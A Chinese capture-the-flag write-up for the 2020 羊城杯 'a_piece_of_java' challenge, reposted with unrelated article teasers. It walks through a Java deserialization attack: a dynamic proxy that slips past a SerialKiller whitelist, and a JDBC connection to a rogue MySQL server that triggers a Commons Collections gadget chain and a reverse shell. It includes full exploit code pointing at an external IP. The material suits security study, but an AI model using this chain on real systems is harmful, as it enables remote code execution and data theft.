羊城杯 2020 a_piece_of_java

news2024/11/26 2:46:54

考点:JDBC反序列化打CC链+动态代理类触发readobject
image.png
一眼看过去 好像只有一个mysql-connector-java 可以利用jdbc
可能的攻击路径就有1) Mysql服务器任意文件读取 2) JDBC反序列化打依赖链
出现了一个不常见的依赖库 serialkiller 做了反序列化的过滤器
可以尝试查看其源码
https://github.com/ikkisoft/SerialKiller/blob/master/pom.xml
image.png
会发现其隐形依赖了 commons-collections3.2也就是常见的CC 3.x
一种可能的路径就是 JDBC反序列化打CC依赖链 不排除Mysql的任意文件读取

 @GetMapping({"/hello"})
  
    public String hello(@CookieValue(value = "data", required = false) String cookieData, Model model) {
  
        if (cookieData == null || cookieData.equals("")) {
  
            return "redirect:/index";
  
        }
  
        Info info = (Info) deserialize(cookieData);
  
        if (info != null) {
  
            model.addAttribute("info", info.getAllInfo());
  
            return "hello";
  
        }
  
        return "hello";
  
    }
    private Object deserialize(String base64data) {
  
        ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
  
        try {
  
            ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
  
            Object obj = ois.readObject();
  
            ois.close();
  
            return obj;
  
        } catch (Exception e) {
  
            e.printStackTrace();
  
            return null;
  
        }
  
    }

我们对/hello路由下的cookie可控 可以传入任意数据 但是 deserialize函数结合SerialKiller 做了白名单过滤
image.png
被反序列化的类只接受 本地的特定包

<regexp>gdufs\..*</regexp>

<regexp>java\.lang\..*</regexp>

仔细观察会发现
image.png
定义类 InfoInvocationHandler 实现了 InvocationHandler, Serializable
可以作为动态代理的处理类 而且可以被序列化
而我们的最终目的是 触发 DatabaseInfo 类中的 connect方法
image.png

同样的 被代理类实现了 序列化接口和Info接口
image.png
可以被动态代理 方法有 checkAllInfo() getAllInfo()
image.png
纵观源码不存在典型的readObject()可以被触发
但是存在 动态代理可以劫持 readObect()的这个动作
image.png

在具体的invoke()之前 就调用了类的 checkAllInfo()
如果被代理的类是 目标类DatabaseInfocheckAllInfo()方法
image.png
是可以实现 发起jdbc的连接的
对于 mysql 8.x版本

characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

通过触发ServerStatusDiffInterceptor拦截器,执行查询语句会调用拦截器的 preProcesspostProcess 方法 作为开头 最终实现ResultSetImplgetObject方法 实现反序列化操作
image.png

编写动态代理类 被代理对象是 DatabaseInfo

package gdufs.challenge.web;  
import gdufs.challenge.web.invocation.InfoInvocationHandler;  
import gdufs.challenge.web.model.DatabaseInfo;  
import gdufs.challenge.web.model.Info;  
import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.util.Base64;  
  
  
public class exp {  
    public static void main(String[] args) throws IOException {  
        DatabaseInfo databaseInfo = new DatabaseInfo();  
        databaseInfo.setHost("23.94.38.86");  
        databaseInfo.setPort("3306");  
        databaseInfo.setUsername("J1rrY");  
        databaseInfo.setPassword("characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");  
        InvocationHandler infoInvocationHandler = (InvocationHandler) new InfoInvocationHandler(databaseInfo);  
        Info infoproxy = (Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(), databaseInfo.getClass().getInterfaces(), infoInvocationHandler);  
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);  
        objectOutputStream.writeObject(infoproxy);  
        String poc=new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));  
        System.out.println(poc);  
  
  
    }  
}

这里的Mysql fake server
我选择 https://github.com/rmb122/rogue_mysql_server
具体配置按 Readme来就可以了
可以简单尝试一下都读取 /etc/passwd 失败了
image.png
直接用 JDBC反序列化链打CC链
image.png
环境出网,反弹shell就可以了
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1832726.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

保护密码安全,探讨密码加盐及其在Go语言中的实现

介绍 在当今数字化时代&#xff0c;个人隐私和数据安全成为了人们关注的焦点之一。随着网络犯罪的不断增加&#xff0c;用户的密码安全性变得尤为重要。密码加盐作为一种常见的安全措施&#xff0c;被广泛应用于密码存储和认证系统中。本文将深入探讨密码加盐的概念、重要性以…

网站改成HTTPS方法

网站改成HTTPS只要网站没有特殊性的要求&#xff0c;绝大部分网站很轻松的就可以完成&#xff0c;尤其是CMS类似的网站系统或者自助搭建的网站&#xff08;比如&#xff1a;这种网站可以在网站后台一次性安装并且生效&#xff09;。 基本要求 将网站改成HTTPS有2个前提&#…

celery使用 Zookeeper 或 kafka 作为broker,使用 mysql 作为 backend

背景介绍: 先贴上celery官方文档:Celery - Distributed Task Queue — Celery 5.4.0 documentation xxx项目中单点环境运行celery + redis,使用流畅,不做过多介绍。 切换高可用环境时,客户redis使用的是cluster集群,官方文档中并没有对redis cluster的支持,查看githu…

proDAD V4软件安装包下载及安装教程

ProDAD heroglyph 4.0采用了全新的UI界面&#xff0c;新增了快捷的起始界面&#xff0c;能快速的提供范本、路径、视讯墙、电子相簿和script等选择项目&#xff0c;使其工作流程和视频字幕解决方案得到大大的简化。 安 装 包 获 取 地 址&#xff1a; proDAD Vitascene 基础…

element-ui tabs+table 实现点击表格切换标签页

客户需求&#xff1a;点击主任务标签页中的表格 跳转到子任务所在的标签页 代码&#xff1a; 表格部分&#xff1a; <el-tabs type"border-card" :active-name"currentTab" tab-click"handleTabClick"><el-tab-pane class"table…

你还不会选ProfiNET和EtherCAT网线?

在现代工业自动化领域&#xff0c;ProfiNET和EtherCAT是两种非常流行的通信协议。选择合适的网线对于确保通信的稳定性和效率至关重要。 ProfiNET是什么&#xff1f; ProfiNET是一种基于以太网的通信协议&#xff0c;由德国西门子公司开发。它支持实时通信&#xff0c;广泛应用…

为什么建议多用组合少用继承

在面向对象编程中&#xff0c;组合&#xff08;Composition&#xff09;和继承&#xff08;Inheritance&#xff09;是两种实现代码复用的基本方法。以下是为什么通常建议多用组合而少用继承的一些原因&#xff1a; 灵活性与可扩展性 松耦合&#xff1a;组合通过将一个类的功…

使用SpringBoot对接Kafka

Kafka是什么&#xff0c;以及如何使用SpringBoot对接Kafka 一、Kafka与流处理 我们先来看看比较正式的介绍&#xff1a;Kafka是一种流处理平台&#xff0c;由LinkedIn公司创建&#xff0c;现在是Apache下的开源项目。Kafka通过发布/订阅机制实现消息的异步传输和处理。它具有高…

Shell脚本(.sh文件)如何执行完毕之后不自动关闭?

Shell脚本异常傲娇&#xff0c;出错后、执行完根本不给你机会让你查看报错信息、输出信息&#xff0c;直接闪退。 废话不多说&#xff0c;调教方法如下&#xff0c;直接在Shell脚本末尾加上如下代码&#xff1a; 1、实现方式一 1.1 使用read命令达到类似bat中的pause命令效果…

构建全面框架 | 简化基因组+线粒体遗传进化联合分析

近日&#xff0c;凌恩生物客户河北农业大学、浙江大学及英国格林威治大学的研究团队合作&#xff0c;在《Insect Science》杂志上发表了题为“A comprehensive framework for the delimitation of species within the Bemisia tabaci cryptic complex, a global pest-species g…

LaTeX 的使用

文章目录 TeX 编辑器文档类型中文编译文档结构preamble 导言区&#xff08;不能放正文内容&#xff09;document body 正文区 正文内容目录段落列表无序列表有序列表 图片表格交叉引用段落图片表格 转义符 数学公式数学符号行内公式行间公式有公式计数器无公式计数器 公式包含文…

OpenGL3.3_C++_Windows(11)

git submodule项目子模块 Git Submodule &#xff08;子模块的代码并不直接存储在父仓库中&#xff0c;而是通过一个指针来维护&#xff09;克隆含有子模块的仓库时&#xff0c;使用git管理Git Clone &#xff08;复制一份完整的Git仓库到本地&#xff09;若仓库包含子模块&am…

MyBatis基础教程

文章目录 一、MyBatis基本使用1.1简介1.2搭建MyBatis环境1.2.1安装MyBatis1.2.2创建MyBatis核心配置文件1.2.3创建mapper接口1.2.4创建MyBatis映射文件1.2.5实现增加功能 1.3整合log4j1.4修改与删除功能1.5查询功能1.5.1查询单个实体类对象1.5.2查询所有用户信息 二、核心配置文…

C# Secs源码 HsmsSecs测试

包含客户端和服务端 启动客户端和服务端即可互相模拟sece 通讯 也可使用secs仿真器进行测试 开启后进行相关操作&#xff0c;创建客户端连接仿真器进行操作 仿真器显示日志 相关文件&#xff0c;源码 4.9 私信即可或者看我博客描述那个地址 我是狗子&#xff0c;希望你幸…

Vue47-修改默认配置webpack.config.js文件

main.js是脚手架项目的入口文件&#xff0c;系统运行时&#xff0c;默认去找src下的main.js文件。这是webpack通过配置文件&#xff1a;webpack.config.js配置的。 脚手架把所有重要的配置文件都隐藏了&#xff0c;方式被开发者修改。 一、查看被隐藏的webpack配置 1-1、webpa…

Matlab进阶绘图第60期—带伪彩图的曲面图

带伪彩图的曲面图是曲面图与伪彩图的组合。 其中&#xff0c;伪彩图与曲面图的颜色用于表示同一个特征。 由于伪彩图无遮挡但不直观&#xff0c;曲面图直观但有遮挡&#xff0c;而将二者组合&#xff0c;可以实现优势互补。 本期就来分享一下带伪彩图的曲面图的绘制方法&…

韩兴国/姜勇团队在《Trends in Plant Science》发表植物根系氮素再分配的观点文章!

氮素是陆地生态系统中的关键限制性营养元素&#xff0c;通过生物固氮和土壤氮供应通常远低高等植物的氮需求。当土壤氮素供应无法充分满足植物茎叶生长需求时&#xff0c;植物会通过自身营养器官&#xff08;如根或根茎&#xff09;再分配来实现氮的内部循环和再利用。尽管植物…

App端接口用例设计方法和测试方法

&#x1f345; 视频学习&#xff1a;文末有免费的配套视频可观看 &#x1f345; 点击文末小卡片 &#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 前言 接口测试作为测试的重要一环&#xff0c;重点关注的是数据层面的输入输出&#xff0c;今天…

API接口设计的艺术:如何提升用户体验和系统性能

在数字时代&#xff0c;API接口的设计对于用户体验和系统性能有着至关重要的影响。良好的设计可以显著提升应用程序的响应速度、可靠性和易用性。以下是几个关键点&#xff0c;帮助改善API接口的设计&#xff1a; 1. 理解并定义清晰的要求 用户研究&#xff1a;与最终用户进行…

CesiumJS【Basic】- #006 浏览器控制台查看位置角度

文章目录 浏览器控制台查看位置角度1 目标 浏览器控制台查看位置角度 1 目标 浏览器控制台查看位置角度